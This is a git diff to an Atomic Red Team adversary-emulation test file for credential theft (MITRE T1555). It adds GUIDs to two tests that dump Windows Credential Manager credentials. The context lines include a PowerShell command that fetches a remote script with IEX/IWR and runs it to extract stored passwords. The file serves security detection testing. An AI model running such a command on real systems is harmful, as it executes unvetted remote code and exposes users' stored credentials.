diff --git a/atomics/T1555/T1555.yaml b/atomics/T1555/T1555.yaml index 1aa2eeed..e5e80e64 100644 --- a/atomics/T1555/T1555.yaml +++ b/atomics/T1555/T1555.yaml @@ -29,6 +29,7 @@ atomic_tests: Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore name: powershell - name: Dump credentials from Windows Credential Manager With PowerShell [windows Credentials] + auto_generated_guid: c89becbe-1758-4e7d-a0f4-97d2188a23e3 description: This module will extract the credentials from Windows Credential Manager supported_platforms: - windows @@ -38,6 +39,7 @@ atomic_tests: command: | IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force - name: Dump credentials from Windows Credential Manager With PowerShell [web Credentials] + auto_generated_guid: 8fd5a296-6772-4766-9991-ff4e92af7240 description: This module will extract the credentials from Windows Credential Manager supported_platforms: - windows diff --git a/atomics/used_guids.txt b/atomics/used_guids.txt index f4ac635b..e3e4f0c6 100644 --- a/atomics/used_guids.txt +++ b/atomics/used_guids.txt @@ -712,3 +712,5 @@ da4f751a-020b-40d7-b9ff-d433b7799803 c35ac4a8-19de-43af-b9f8-755da7e89c89 002cca30-4778-4891-878a-aaffcfa502fa 42f22b00-0242-4afc-a61b-0da05041f9cc +c89becbe-1758-4e7d-a0f4-97d2188a23e3 +8fd5a296-6772-4766-9991-ff4e92af7240